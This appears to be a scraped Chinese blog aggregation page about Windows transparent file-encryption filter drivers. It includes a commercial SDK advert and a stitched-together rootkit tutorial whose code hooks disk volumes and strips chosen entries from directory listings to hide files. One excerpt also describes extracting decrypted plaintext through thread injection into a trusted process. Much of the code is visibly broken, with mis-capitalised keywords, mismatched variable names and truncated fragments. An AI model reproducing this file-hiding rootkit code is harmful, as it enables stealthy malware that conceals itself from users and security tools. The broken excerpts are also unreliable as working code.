精华内容
下载资源
问答
  • 基于文件系统过滤驱动的内核Rootkit隐藏技术
  • 文件透明加密这点事儿,从2001年开始出现基于API HOOK的方式开始到现在,已经十几年了,有细心人按技术实现的方式将其细分为4代,分别是基于API HOOK的第一代技术、基于文件过滤驱动(加清缓存)的第二代技术、使用...
            文件透明加密这点事儿,从2001年开始出现基于API HOOK的方式开始到现在,已经十几年了,有细心人按技术实现的方式将其细分为4代,分别是基于API HOOK的第一代技术、基于文件过滤驱动(加清缓存)的第二代技术、使用Layerfsd的双缓冲第三代技术和基于微软新一代minifilter框架的Layerfsd双缓冲第四代技术。第一代和第二代的技术划分基本上没有异议,所谓的第四代很多人并不认同,认为使用minifilter框架算不上是技术突破,其技术实现仍然是基于Layerfsd的双缓冲技术,没有新意。
            我们从2009年开始研究并实现了基于Layerfsd的双缓冲技术,并应用于自己的产品中,这些本来都是老生长谈,只是最近几天根据用户反馈修改了几个BUG,忽然觉得还可以说道说道。Layerfsd的双缓冲技术最早出现在驱网论坛上的时候,讨论可谓是热烈,随着一些开发者逐步从理论到实践,完成了具体的实现之后,就开始了有意无意的技术封锁,一些技术理论和部分公开的源代码都无影无踪,不过从侧面也可以看出来,这个技术其实还是有一定的门槛的。其门槛并不在于技术有多难,关键在于细节和稳定性,根据理论做出一个实现不难,网上很多号称出售Layerfsd的双缓冲技术实现源代码的,叫价8-40万的都有,不过都只能算是一个理论研究系统,稳定性都很难保证,更不用说实用性了。
            为了了解同行的技术成熟度,我们经常找来同行的产品进行测试,今年上半年测试了两个驱动,一个驱动是对Visual Studio不兼容,每次保存文件后都会提示文件被外部修改,需要再确认一次,都是做这个的,我们当然清楚这个是layerfsd层的文件时间没有处理好,不过用VC编译一个加密的工程源代码时,总是蓝屏,这个应该就是实现者的技术实力问题了,还有对NTFS分区还马马虎虎,但是只要操作FAT分区的文件系统就没有反应,根据我们的经验应该是内部有死锁产生。还有一个驱动是不支持动态磁盘系统和可卸载的媒体(比如U盘),用WORD打开的文档,在编辑状态时居然可以从资源管理器中删除,这个是致命的layerfsd层文件权限管理失败,和作者沟通这个问题,作者认为这是双缓冲驱动实现的特征,只要是使用双缓冲技术实现的驱动都有这个问题,对此我们不敢苟同。
            这样的实现买回去也没办法用,想做出实用的商业软件至少还要2-3年的时间开发功能并做好稳定性。如果有钱,可以直接购买OSR的DMK,稳定性有一定的保证,但是要在上面做二次开发实现自己的功能。pfp也公开过一份源代码,是个半成品系统(现在驱网所有的下载链接都失效了),但是距离实现还有很远的距离,当然还是有很多人的实现都是基于这个源代码做的,这个一测试就能感觉出来。
            使用第二代技术实现的商业应用很多,只要能做稳定,基本都有市场,但是这个技术有几个致命的问题,就是文件操作效率低下,容易损坏文件,并且和反病毒软件不兼容。文件操作效率低下的原因在于为了防止非授信进程访问文件系统缓存的文件明文,每次打开和关闭文件时都要清理文件缓存。这对相当于屏蔽了系统文件缓存带来的性能优化,对大文件的操作影响尤其明显。我们测试过一个使用这种技术实现的商业软件,用word打开一个100多M的大文件后,用另一个非授信进程每隔15-30秒钟只读访问一次这个文件(这会促使驱动实现每隔15-30秒钟就清一次缓存),结果卡的基本上没办法操作这个word文档,如果是双缓冲,就没有这个问题。损坏文件的原因主要是对于延迟写入的缓冲文件,用户的写入操作是写入了缓存,但是负责延迟写入的system进程还没有将其写入文件,此时如果有非授信进程打开文件,会导致缓存被清除,这导致用户的修改没有写入,很多情况下都会造成文件数据丢失或文件格式损坏,与杀毒软件不兼容也基本上是这个原因。
            第二代技术的实现,在处理加密文件标识的问题上也很棘手,我们测试过的很多实现都是使用影子文件的方式,所谓影子文件,就是构造一个文件名与加密文件有一定的关联的影子文件,比如在原始文件名前增加一个固定标识的前缀,或后缀,或使用一个特殊的文件扩展名。当打开一个文件时,加密驱动首先看看是否存在影子文件,如果是就说明是一个加密文件,需要做解密处理。影子文件的管理也是一个很麻烦的地方,需要在驱动中对IRP_MJ_DIRECTORY_CONTROL进行过滤处理,对上层应用过滤掉这些文件名,使得用户在资源管理器中看不到这些影子文件,感觉不到他们的存在。但是只要用户停止驱动,这些文件就原型毕露,一些安全软件,比如冰刃,可以绕过驱动直接删除影子文件,会带来一些不稳定因素。此外,文件的复制和删除都要考虑影子文件,维护上也挺麻烦的。也有一些商业实现将影子文件集中在某个系统目录中进行管理,但是也要解决同名的问题,也不是完美的方案。
            从理论上所,使用双缓冲技术可以回避上面提到的清缓存问题,同时,双缓冲也可以解决文件加密标识的存放问题。双缓冲技术可以将加密信息构造成一个特殊的数据块直接存放在文件中,至于是放在文件头部还是文件尾部(从理论上说,也可以放在文件中间某个位置,不过是自找麻烦),不同意见还是很多的,各有各的理论依据,有人认为放在文件头部容易破坏文件,不过这是没有根据的,如果驱动实现不成熟,这块信息放在什么地方都可能破坏文件。倾向于将这块信息放在文件尾部的人觉得文件完成最后的写入,关闭之前补上一块加密信息是顺理成章的事情,倾向于将这块信息放在文件头部的人则是秉承传统的思想,毕竟很多文件格式都是将文件的特殊信息构造成一个特殊的文件头存放的,不过就实现而言,这二者没有优劣之分。
            双缓冲技术需要在一个layerfsd层访问真实文件,这就带来一个驱动的(IRP_MJ_CREATE)重入问题,这个解决不好就直接递归到栈溢出了。防止重入有多重方法,使用minifilter框架的有个优势,就是可以直接使用FltCreateFile系列函数绕开驱动直接打开和读写文件,这个后面再说。如果不使用minifilter框架,常用的两种方法就是构造影子卷进行文件访问,或直接构造IRP进行文件操作。构造影子卷的原理就是通过影子卷重定向文件的访问,因为过滤驱动不会attach影子卷,因此就规避了重入问题。使用影子卷的好处是可以使用ZwCreateFile等内核API直接操作文件,方便、安全。但是attach物理卷的时候要避开影子卷,一旦不小心attach了影子卷就会死的很惨。直接构造IRP进行文件操作应该是一个很优雅的方案,但是实现起来需要考虑比较多的细节,网上也有一些现成的源代码实现,不过或多或少都有一些问题,需要修改一下才能用。关于这方面的资料首先是OSR的“Rolling Your Own - Building IRPs to Perform I/O”一文,此外,还有baiyuanfan的“Windows平台内核级文件访问”一文也有很不错的介绍。
            minifilter是微软引入的一个轻量级微过滤驱动模型,简化了文件过滤驱动的实现细节,使得微过滤驱动可以忽略一些细枝末节的东西,将注意力集中在业务实现上。这比采用遗留驱动模型的sfilter框架有一定的优势,但是就透明加密驱动而言,并没有进步到说使用minifilter框架就比sfilter技术先进的程度,要知道,第二代透明加密技术的驱动也可以用minifilter框架实现,所以鼓吹minifilter+layerfsd更先进是没有依据的,重要的还是谁的驱动更稳定,毕竟动不动就蓝屏,或者损坏文件是用户最不能接受的。
            最后要说一些细节问题,比如双缓冲,所谓的双缓冲就是对同一个文件的访问形成两个cache缓存,对于授信进程,可以使用解密数据的明文cache,对于非授信进程,则使用密文的cache,二者共存且互相不干扰。使用双缓冲对系统内存的使用肯定是会增加的,但是带来的安全性和文件访问效率的提升是不言而喻的。至于cache的实现方式,可以使用windows的文件缓存系统,也可以自己实现文件缓存系统,据我所知,很多数据库软件就没有使用windows的文件缓存系统,而是根据需求自己实现的缓存系统。极端的说,你甚至可以不实现缓存,所有加密文件的读写都是实时操作实际文件,不支持一切缓存读写和fastio,我们在测试时遇到过这样的实现,也号称是支持layerfsd的双缓冲技术,虽然没有双缓冲的文件访问效率,但是也算是回避了第二代驱动技术的几个难题。还有比如授信进程的识别问题,简单地根据程序文件名称进行识别是非常幼稚的做法,对程序改个名字就可以欺骗加密驱动得到解密后的明文。还有授信进程的识别问题,对于有的应用程序,通常是一个图形的前端加上几个没有界面的后台程序配合工作,如果授信进程只有前端的UI进程,还是无法访问加密文件,对这种情况也要做进程父子关系的识别和处理。当然还有经典的线程注入问题,通过远程线程注入,可以在授信进程中启动一个线程访问加密文件,并将解密的明文通过共享内存或socket接口传递给另一个非授信进程。解决之道就是阻止线程注入,内核和应用层都可以做,当然也会对正常需要线程注入的程序产生影响,比如本人的TabSiPlus外挂插件,需要注入到Source Insight进程内部启动一个tab标签栏,就因为这个原因与加密软件产生冲突。对于一些支持插件的软件,比如office,还需要对插件进行识别和屏蔽,方法也很多,方式也很流氓,经常弄得用户莫名其妙。我的建议是对这种支持插件的软件不要做特殊处理,安全性由用户自己管理,用户有时候并不是那么傻,不要什么事情都替用户做了。
    展开全文
  • 基于LayerFsd模型设计,采用文件系统过滤驱动技术实现。产品的目标是使客户可快速和稳定开发基于TTEFS的文档安全管理系统、文档防泄密系统、文档权限管理系统等。 2 技术原理与优势 透明加密技术已有10余年的发展...

    1 产品综述

    1.1 产品简介

        TTEFS(True Transparent Encryption File System)是一款文件透明加密开发包。基于LayerFsd模型设计,采用文件系统过滤驱动技术实现。产品的目标是使客户可快速和稳定开发基于TTEFS的文档安全管理系统、文档防泄密系统、文档权限管理系统等。

    2 技术原理与优势

        透明加密技术已有10余年的发展历程。它是针对企业文件保密需求应运而生的一种文件加密技术。透明,是指对用户而言加解密过程不会被觉察。当用户打开或编辑受保护文件时, 系统将自动对未加密的文件进行加密, 对已加密的文件解密。文件在硬盘上以密文形式存储, 在内存中则为明文。

         Windows允许程序设计人员在内核和用户两个级别操作文件。基于用户级别的透明加密方案大多采用API Hook。基于内核级别的透明加密方案采用文件系统过滤驱动,根据过滤驱动操作文件缓存的模式,分为刷缓存模型和双缓存模型,也即LayerFsd模型。

        ApiHook的工作原理是先将已加密的文件拷贝到临时目录中,并隐藏和解密该文件,然后将临时文件返回给打开文件的进程。 这样应用程序打开的就是磁盘上的明文文件, 用户程序可以进行正常的处理; 在文件关闭时,该事件被钩子拦截, 钩子将临时文件加密, 然后再拷贝回来覆盖掉原文件。这种加密实质上是通过临时文件来实现的, 必须在每次用户存盘或者系统自动存盘的时候,存在效率低,安全性不高,兼容性差的特点。 

        刷缓存模式是基于文件系统过滤驱动实现。过滤驱动能实时拦截所有的文件系统操作,在效率上具有明显优势。由于文件系统与内存管理器和缓存管理器互相依赖,细节繁多,而文件系统过滤驱动模型不能处理与缓存管理器的交互,导致过滤驱动只能采用暴力手法不停地清除缓存,导致系统蓝屏和文件损坏。

         LayerFsd模型是基于文件系统过滤驱动和文件系统驱动实现。使用过滤驱动截获所有文件操作事件。文件系统驱动分别与缓存管理器和内存管理器正常交互,维持缓存的正常状态,避免了使用暴力的方法清除缓存。从原理上解决了系统蓝屏和文件损坏的问题。其工作原理图如下所示:

    3.1功能项

    文档透明加密

        透明加密是指加密的动作不需要人工干预,由加密软件软件自动完成的。比如:用WORD建立文档的时候,软件能自动把新建的文件加密,对用户完全透明,不影响用户的操作习惯。TTEFS内置Office、WPS、CAD、Photoshop、Solid Works等常见应用程序。

     

     

    一文一密

        TTEFS支持为每一份文件生成一个随机密钥。同样的一分文档,使用不同的密钥,产生不同的密文。使用一文一密的好处是抗已知明文攻击。相对于传统的单一固定密钥模式,安全性得到了极大提升。

    自定义头数据

        TTEFS支持自定义头数据,用户可将文档的权限控制信息(如过期时间、密级、打开次数限制、打印控制)存入自定义数据区。自定义头数据数据可永久驻留在文件中。例如OFFICE文件经过编辑之后,虽然原始文件被临时文件覆盖,但原始文件的自定义数据仍然保留。

    手动文件加密

        在某些应用场景中,用户并不需要所有的文档都被加密,只希望某些重要的文档被加密。TTEFS支持手动加密模式,被加密的文件一直处于被加密的状态,未加密的文件将被TTEFS忽略。

    自定义应用策略

        TTEFS提供添加应用的接口,用户自行定制策略,加密专有应用程序生成的文档。

    自定义加密算法

        TTEFS内置XTEA和AES算法,用户可将自定义加密算法植入到TTEFS中。支持流加密和块加密模式。

    文件夹白名单

        TTEFS提供文件夹白名单接口,用户可设置文件夹白名单。此类文件夹下的文档将不被加密。

    驱动主动通信框架

        TTEFS支持由驱动发起的通信,可将关键事件通知应用程序。框架支持同步模式和异步模式。

     

    4 合作方式和服务

    TTEFS支持源代码和SDK级别合作。并且提供附加服务,直到客户完成产品开发。具体细节可详谈。

    联系QQ: 7_6_2_1_8_8_3_3_6

    更多产品信息,请访问 http://www.bytehorse.net

     

     

    展开全文
  • 第一部分介绍了基本的钩住磁盘驱动器,下面介绍使用调度例程来完成文件过滤。 以下是标准的调度例程: NTSTATUS OurFilterDispatch ( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { PIO_STACK_LOCATION ...
    第一部分介绍了基本的钩住磁盘驱动器,下面介绍使用调度例程来完成文件过滤。
    

    以下是标准的调度例程:

    NTSTATUS OurFilterDispatch ( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)

    {

    PIO_STACK_LOCATION currentIrpStack;

    currentIrpStack = IoGetCurrentIrpStackLocation ( Irp);

    IoCopyCurrentIrpStackLocationToNext (Irp);

    下面是调度例程最重要的部分。此处设置I/O完成例程。一旦更底层驱动程序处理完IRP后,就调用该例程,所有过滤操作都发生在完成例程中。

    IoSetCompletionRoutine ( Irp, OurFilterHookDone, NULL, TRUE, TRUE, FALSE );

    return IoCallDriver ( hookExt->FileSystem, Irp);

    }

    以下是最重要的例程——完成例程,前面提过,在该例程中实现所有的过滤功能。

    NTSTATUS OurFilterHookDone ( IN PDEVICE_OBJECT DeviceObject,

    IN PIRP Irp;

    IN PVOID Contex

    )

    {

    IrpSp = IoGeCurrentIrpStackLocation (Irp);

    下面检查一个目录查询,还要确保PASSIVE_LEVEL级别上运行

    If ( IrpSp -> MajorFunction == IRP_MJ_DIRECTORY_CONTROL

    &&IrpSp->MinorFuncion == IRP_MN_QUERY_DIRECTORY

    &&KeGetCurrentIrql () == PASSIVE_LEVEL

    &&IrpSp -> Parameters.QueryDirectory.FileInformationClass == FileBothDirectoryInformation

    )

    {

    PFILE_BOTH_DIR_INFORMATION volatile QueryBuffer = NULL;

    PFILE_BOTH_DIR_INFORMATION volatile NexBuffer = NULL;

    ULONG bufferLength;

    DWORD total_size = 0;

    BOOLEAN hide_me = FALSE;

    BOOLEAN reset = FALSE;

    ULONG size = 0;

    ULONG iteration = 0;

    QueryBuffer = (PFILE_BOTH_DIR_INFORMATION) Irp->UserBuffer;

    bufferLength = Irp->IoStatus.Information;

    if( bufferLength > 0)

    {

    Do

    {

    DbgPrint(“Filename: %ws\n”, QueryBuffer->FileName);

    Rootkit在此处分析文件名并判断是否需要隐藏该文件。要隐藏的文件可以预先设置并加载到一个列表中,或者基于子字符串方法(类似于常见的前缀方法,如果一个文件的名称中包含有一组指定的前缀字符或特定的文件扩展符,则隐藏文件)。这里假定要隐藏文件,因此设置一个标志加以指示:

    hide_me = TRUE;

    若rootkit要隐藏某个文件,它必须相应修改QueryBuffer, 删除相关联的文件项。根据该文件项是否为第一项,中间项或最后一项,rootkit必须进行不同的处理。

    If ( hide_me && iteration == 0)

    {

    若需要隐藏列表中的第一个文件,则执行以下代码,之后程序检查判断它是否为表中仅有的一项:

    if (( IrpSp -> Flags == SL_RETURN_SINGLE_ENTRY) ||

    (QueryBuffer -> NextEntryOffset == 0))

    {

    若该项是列表中的仅有的一项,则执行以下代码。将查询缓冲区清零并报告返回零字节。

    RtlZeroMemory ( QueryBuffer, sizeof ( FILE_BOTH_DIR_INFORMATION));

    total_size = 0;

    }

    else

    {

    若第一项之后还有其他项,则执行以下代码。修正要返回的总大小,并删除相应的项。

    Total_size -= QueryBuffer -> NextEntryOffset;

    Temp =ExAllocatePool ( PagedPool, total_size);

    If( temp != NULL)

    {

    RtlCopyMemory ( temp, (( PBYTE) Querybuffer + QueryBuffer -> NextEntryOffset), total_size );

    RtlZeroMemory ( QueryBuffer, total_size + QueryBuffer->NextEntryOffset);

    RtlCopyMemory ( QueryBuffer, temp, total_size);

    ExFreePool(temp);

    }

    设置一个标志,表明已经修正了QueryBuffer:

    reset = TRUE;

    }

    }

    Else if (( iteration > 0) &&(QueryBuffer -> NextEntryOffset != 0) && (hide_me))

    {

    若要隐藏表中间的一项,则执行以下代码,程序删除该项并修正要返回的大小。

    size = ((PBYTE) inputBuffer + Irp-> IoStatus.Information ) – (PBYTE) QueryBuffer – QueryBuffer-> NextEntryOffset;

    tmp = ExAllocatePool (PagedPool, size );

    if (temp != NULL)

    {

    RtlCopyMemory ( temp, ((PBYTE)QueryBuffer + QueryBuffer->NextEntryOffset), size);

    Total_size -= QueryBuffer->NextEntryOffset;

    RtlZeroMemory(QueryBuffer, size + QueryBuffer -> NextEntryOffset);

    RtlCopyMemory(QueryBuffer, temp, size);

    ExFreePool (temp);

    }

    设置reset标志,表明已经修正了QueryBuffer:

    Reset = TRUE;

    }

    Else if ((iteration > 0) &&( QueryBuffer -> NextEntryOffset == 0 ) && (hide_me))

    {

    若要隐藏表中最后一项,则执行以下代码。这种情况要容易得多,因为只需从链表末端将其删除。不将其看作是对QueryBuffer的重置。

    Size = ((PBYTE) input Buffer + Irp->IoStatus.Information) – (PBYE)QueryBuffer;

    NextBuffer->NextEntryOffset = 0;

    Total_size -= size;

    }

    若缓冲区还未修正(这表明对表的处理已完成),则rootkit处理下一项:

    Iteration += 1;

    If ( !reset)

    {

    NextBuffer = QueryBuffer;

    QueryBuffer = ( PFILE_BOTH_DIR_INFORMATION) ((PBYTE) QueryBufer + QueryBuffer->NextEntryOffset);

    }

    }

    While (QueryBuffer != NextBuffer)

    处理完成之后,在IRP中设置新QueryBuffer的total_size:

    IRP->IOSTATUS.INFORMATION = TOTAL_SIZE;

    必要时将IRP标记为 “挂起(pending)”:

    If( Irp -> PendingReturned)

    {

    IoMarkIrpPending ( Irp);

    }

    返回状态信息:

    Return Irp->IoStatus.Status;

    }

    如果执行FastIo调用,则代码会采取不同的执行路径,首先,将FastIo调用的调度表初始化为一个函数指针结构:

    FAST_IO_DISPATCH OurFastIOHook = {

    Sizeof ( FAST_IO_DISPATCH),

    FilterFastIoCheckifPossible,

    FilterFastIoRead,

    ….

    }

    每个函数调用都直通到达实际的FastIo调用,换句话说,对任何FastIo调用都不进行过滤。这是因为对文件和目录列表的查询并不作为FastIo调用而实现。

    展开全文
  • 可以使用钩子技术来隐藏文件,但这种方法容易被检测出来。另外,如果文件或目录安装在SMB共享系统上,那么钩住系统服务描述表(system service descriptor table,SSDT)并不能隐藏它们。下面来看通过分层驱动的方法...

    分层驱动程序可应用于文件系统。出于潜行的需求,文件系统对于rootkit有着特殊的吸引力。许多rootkit需要在文件系统中存储文件,并且这些文件必须是隐藏的。可以使用钩子技术来隐藏文件,但这种方法容易被检测出来。另外,如果文件或目录安装在SMB共享系统上,那么钩住系统服务描述表(system service descriptor table,SSDT)并不能隐藏它们。下面来看通过分层驱动的方法来隐藏文件。

    首先从驱动的入口函数DriverEntry例程来看:

    NTSTATUSDriverEntry ( IN PDRIVER_OBJECT DriverObject,

                        IN PUNICODE_STRINGRegistryPath)

    {

           For ( i = 0; I <=IRP_MJ_MAXIMUM_FUNCTION; i++)

           {

               DriverObject->MajorFunctionp[i] =OurDispatch;

           }

       DriverObject->FastIoDispatch=&OurFastIOHook;

       在DriverEntry例程中,是MajorFunction数组指向OurDispatch调度例程,还建立了一个FastIoDispatch调度表,这里可以看到文件系统驱动程序特有的一些内容。FastIo是文件系统程序的另一种通信方法。

    准备好调度表后,下面必须钩住驱动器,调用HookDriveSet函数在所有可用得驱动器盘符上安装钩子:

    DWORD d_hDrives= 0;

    // Initializethe drives we will hool

    For(I = 0;i< 26; i++)

         DriveHookDevices[i] =NULL;

    DriveToHook =0;

    ntStatus =GetDrivesToHook(&d_hDrives);

    if(!NT_SUCCESS(ntStatus))

       return ntStatus;

    HookDriveSet(d_hDrives,DriverObject);

    以下代码用于获取钩住的驱动程序列表:

    NTSTATUSGetDrivesToHook(DWORD *d_hookDrives)

    {

        NTSTATUS ntstatus;

        PROCESS_DEVICEMAP_INFORMATION s_devMap;

        DWORD MaxDriveSet, CurDriveSet;

        Int drive;

        If(d_hookDrives == NULL)

             Return STATUS_UNSUCCESSFUL;

    注意当前进程的句柄用法:

    Ntstatus = ZwQueryInformationProcess(( HANDLE) 0xffffffff,

                                     ProcessDeviceMap,

                                     &s_devMap,

                                         Sizeof(s_devMap),

                                         NULL);

    If(!NT_SUCCESS(ntstatus))

         Return ntstatus;

    // Get available drives we can monitor.

    MaxDriveSet = s_devMap.Query.DriveMap;

    CurDriveSet = MaxDriveSet;

    For ( drive = 0; drive < 32; ++drive)

    {

        If(MaxDriveSet &(1<<drive))

        {

           Switch(s_devMap.Query.DriveType[drive])

           {

     首先处理要跳过的驱动器:

    // We don’t like these: remove them.

        Case DRIVE_UNKNOWN: // Thedrive type cannot be determined.

        Case DRIVE_NO_ROOT_DIR; //The root directory does not exit.

             curDriveSet &=~(1 <<drive);

             break;

    // The drive can be removed from the drive

    // Doesn’t make sense to put hidden files on

    // a removable drive because we will not

    // necessarily control the computer that the

    // drive is mounted on next.

    Case DRIVE_REMOVABLE:

        CurDriveSet &= ~(1<< drive);

        Break;

    // The drive is a CD-ROM drive

     Case DRIVE_CDROM;

        CurDriveSet &= ~(1<< drive);

        Break;

    将要钩住以下驱动器:DRIVE_FIXED,DRIVE_REMOTE和DRIVE_RAMDISK.

    代码继续如下:

    }

    }

    }

    *d_hookDrives = CurDriveSet;

    Return ntstatus;

    }

    钩住驱动器集合的代码如下:

    ULONG HookDriveSet(IN ULONG DriveSet, IN PDRIVER_OBJECT DriverObject)

    {

        PHOOK_EXTENSION hookExt;

        ULONG drive, I;

        ULONG bit;

         // Scan the drive table,looking for hits on the DriveSet bitmask.

        For( drive = 0; drive <26; ++drive_

    {

        Bit = 1<< drive;

        // Are we supposed to hookthis drive

         If (( bit & DriveSet)&&!(bit &DrivesToHook))

    {

      If( !HookDrive( drive,DriverObject))

      {

        // remove from drive setif can’t be hooked

        DriveSet &= ~bit;

    }

    Else

    {

       // Hook drives in samedrive group

       For( I = 0; I < 26; i++)

    {

       If( DriveHookDevices[i] ==DriveHookDevices[ drive])

        {

             DriveSet |= (1<<i);

        }

    }

            }

         }

         Else if ( !(bit  & DriveSet)&&(bit & DrivesToHook) )

    {

       // Unhook this drive and all in the group

        For ( I = 0; i<26; i++)

        {

           If( DriveHookDevices[i] ==DriveHookDevices[ drive])

           {

                UnhookDrive(i);

                DriveSet &= ~(1<<i);

    }

           }

    }

    }

    // return set of drives currently hooked.

       DrivesToHook = DriveSet;

       Return DriveSet;

    }

    对于单个驱动器挂上你和取下钩子的代码如下:
      if(DriveHookDevices[Drive])

    {

        hookExt =DriveHookDevices[Drive]->DeviceExtension;

        hookExt -> Hooked =FALSE;

      }

    }

     

    BOOLEAN HookDrive ( IN ULONG Drive, IN PDRIVER_OBJECT DriverObject)

    {

       IO_STATUS_BLOCK ioStatus;

       HANDLE ntFileHandle;

       OBJECT_ATTRIBUTESobjectAttributes;

       PDEVICE_OBJECTfileSysDevice;

       PDEVICE_OBJECT hookDevice;

       UNICODE_STRINGfileNameUnicodeString;

       PFILE_FS_ATTRIBUTE_INFORMATIONfileFsAttributes;

       ULONG fileFsAttributesSize;

       WCHAR filename[] = L”\\DosDevices\\A:\\”;

       NTSTATUS ntStatus;

       ULONG I;

       PFILE_OBJECT fileObject;

       PHOOK_EXTENSIONhookExtension;

       If(Drive  >= 26)

            Return FALSE; //Illegal drive letter

      // Test whether we havehooked this drive

     If ( DriveHookDevices [Drive] == NULL )

      {

         Filename[12] = (CHAR) ( ‘A’+ Drive); // Set up drive name

        下面打开磁盘卷的根目录:

       RtlInitUnicodeString(&fileNameUnicodeString, filename);

       InitializeObjectAttributes(&objectAttributes,

                            &fileNameUnicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL);

         ntStatus = ZwCreateFile(&ntFileHandle,

                             SYNCHRONIZE | FILE_ANY_ACCESS,

                             &objectAttributes,

                            &ioStatus,

                                NULL,

                                0,

                                FILE_SHARE_READ |FILE_SHARE_WRITE,

                               FILE_OPEN,

                               FILE_SYNCHRONOUS_IO_NONALERT | FILE_DIRECTORY_FILE,

                                NULL,

                                0);

              If ( ! NT_SUCCESS ( ntStatus ))

    {

         若程序无法打开驱动器,则返回“false”:

                     Return FALSE;

            }

    // Use file handle to look up the fileobject.

    // If this is successful,

    // we must eventually decrement the fileobject

    ntStatus = ObReferenceObjectByHandle (ntFileHandle,

                                    FILE_READ_DATA,

                                     NULL,

                                     KernelMode,

                                    &fileobject,

                                     NULL);

    If( !NT_SUCCESS ( ntStatus))

    {

    若程序无法从句柄中获得文件对象,则返回“false”:

    ZwClose ( ntFileHandle );

    Return FALSE;

    }

    // Get the device object from the Fileobject

    fileSysDevice = IoGetRelatedDeviceObject (fileObject );

    if(!fileSysDevice)

    {

    若程序无法获取设备对象,则返回“flase”:

    ObDereferenceObject(fileObject);

    ZwClose (ntFileHandle);

    Return FALSE;

    }

    // Check the device list to see if we arealready

    // attached to this particular device

    // This can happen when more than one driveletter

    // is being handled by the same network

    // redirector

    For (I = 0; i<26; i++)

    {

          If( DriveHookDevices[i] == fileSysDevice )

    {

    // if we are already watching it

    // associate this drive letter

    // with the others that are handled

    // by the same network driver. This enables us to intelligentlyupdate

    // the hooking menus when the user specifies that one of the groupshould not be

    // watched – we mark all of the related drives as unwantched aswell.

          ObDereferenceObject(fileObject);

          ZwClose(ntFileHandle);

          DriveHookDevice[Drive] =fileSysDevice;

          Return TRUE;

            }

    }

    // The file system’s device hasn’t been hooked already, so make ahooking device object // that will be attached to it

    ntStatus = IoCreateDevice(DriverObject,

                         sizeof(HOOK_EXTENSION),

                          NULL,

                         fileSysDevice->DeviceType.

                         fileSysDevice->Characteristics,

                          FALSE,

                         &hookDevice);

     If( !NT_SUCCESS(ntStatus))

    {

         若程序无法创建相关的设备,则返回“false”:

         ObDereferenceObject(fileObject);

         ZwClose(ntFileHandle);

         Return FALSE;

    }

    // Clear he device’s init flag

    // If we do not clear this flag, it is speculated no one else wouldbe able to layer on top

    // of us. This may be a useful feature in the future !

    hookDevice->Flags &=~DO_DEVICE_INITIALIZEING;

    hookDevice->Flags|=(fileSysDevice->Flags&(DO_BUFFERED_IO | DO_DIRECT_TO));

         // Set up the device extensions. The drive letter and file system objectare stored in the

         // extenson

            hookExtension = hookDevice->DeviceExtension;

            hookExtension->LogicalDrive = ‘A’ + Drive;

            hookExtension->FileSystem = fileSysDevice;

            hookExtension->Hooked = TRUE;

            hookExtension->Type = STANDARD;

          // Finally, attach to the device. As soon as we are successfullyattached, we may start

          // receiving IRPs targeted at the device we are hooked.

            ntStatus = IoAttachDeviceByPointer( hookDevice, fileSysDevice);

          if( !NT_SUCCESS(ntStatus))

    {

        ObDereferenceObject (fileObject);

        ZwClose(ntFileHandle);

        Return FALSE;

    }

     

    // Determine whether this is an NTFS drive

     

    fileFsAttributesSize = sizeof(FILE_FS_ATTRIBUTE_INFORMATION) +MAXPATHLEN;

      hookExtension->FsAttributes = (PFILE_FS_ATTRIBUTE_INFORMATION)

    ExAllocatePool(NonPagedPool, fileFsAttributesSize);

    If(hookExtension->FsAttributes && !NT_SUCCESS (

    IoQueryVolumeInformation ( fileObject, FileFsAttributeInformation,fileFSAttributesSize,

                          hookExtension->FsAttributes,

                           &fileFsAttributesSize)))

    {

      // On failure, we just don’thave attributes for this file system.

       ExFreePool (hookExtesnion->FsAttributes_;

      hookExtension->FsAttributes = NULL;

    }

    // Close the file and update the hooked drive list by entering apointer to the hook

    // device object in it.

    ObDereferenceObject ( fileObject);

    ZwClose(ntFileHandle);

    DriveHookDevices[Drive] = hookDevice;

    }

    Else // This drive is already hooked

    {

      hookExtension =DriveHookDevices[Drive]->DeviceExtension;

      hookExtension ->Hooked =TRUE;

    }

    Return TRUE;

    }

     

     

                                     

    ;

     

     

     

     

     

     

    展开全文
  • 1产品综述 1.1产品简介 ...基于LayerFsd模型设计,采用文件系统过滤驱动技术实现。产品的目标是使客户可快速和稳定开发基于TTEFS的文档安全管理系统、文档防泄密系统、文档权限管理系统、文档标密...
  • 文件过滤驱动是微软公开支持进行文件加密的技术手段,在驱动的层次定义中,微软定义了杀毒、压缩、加密等各种功能层次,加密的定义如下: Load Order Group:FSFilter Encryption ,Altitude Range:140000-149999 ...
  • 针对当前信息安全的严峻形势,提出了基于Windows文件系统微过滤驱动文件透明加解密技术的解决方案。介绍了研究“基于Windows文件系统微过滤驱动文件透明加/解密技术”过程中必须掌握的一些理论基础,包括...
  •  1.1文件系统工作原理?  在NT内核的Windows系统中,它的I/O子系统是由I/O管理器、可扩展的一组驱动程序和其它一些执行体服务组成。I/O管理器定义了一套驱动程序的框架或者说模型,定义了如何进行处理各种I/O操作...
  • Windows驱动_文件系统过滤驱动之五

    千次阅读 2013-07-18 21:49:10
    本来以为,软件驱动,都被自己看得差不多了,谁知道,又冒出来个网络过滤驱动,原来微软专为了网络设备,设计了一种WFP,专门使用为网络过滤,可见,微软对网络的重视,... 我们今天来看一下,文件系统过滤驱动如何加
  • 文件透明加密这点事儿,从2001年开始出现基于API HOOK的方式开始到现在,已经十几年了,有细心人按技术实现的方式将其细分为4代,分别是基于API HOOK的第一代技术、基于文件过滤驱动(加清缓存)的第二代技术、使用...
  • (装载) 文件过滤驱动必看

    万次阅读 2004-10-24 23:19:00
    (转载)Windows文件系统过滤驱动开发教程0. 作者,楚狂人自述我长期网上为各位项目经理充当“技术实现者”的角色。我感觉Windows文件系统驱动的开发能找到的资料比较少。为了让技术经验不至于遗忘和引起大家交流的...
  • minifilter开发文件过滤驱动、以及syser调试的经验。 刚刚完成一个产品的开发,用了两个月,真不容易,像我这种菜鸟,为了搞清一个常识,得从老谭的那本古董级C程序设计翻起。 首先说驱动教程。 楚狂人谭文的...
  • Windows文件系统过滤驱动开发教程 0. 作者,楚狂人自述 我长期网上为各位项目经理充当“技术实现者”的角色。我感觉Windows文件系统驱动的开发能找到的资料比较少。为了让技术经验不至于遗忘和引起大家交流的...
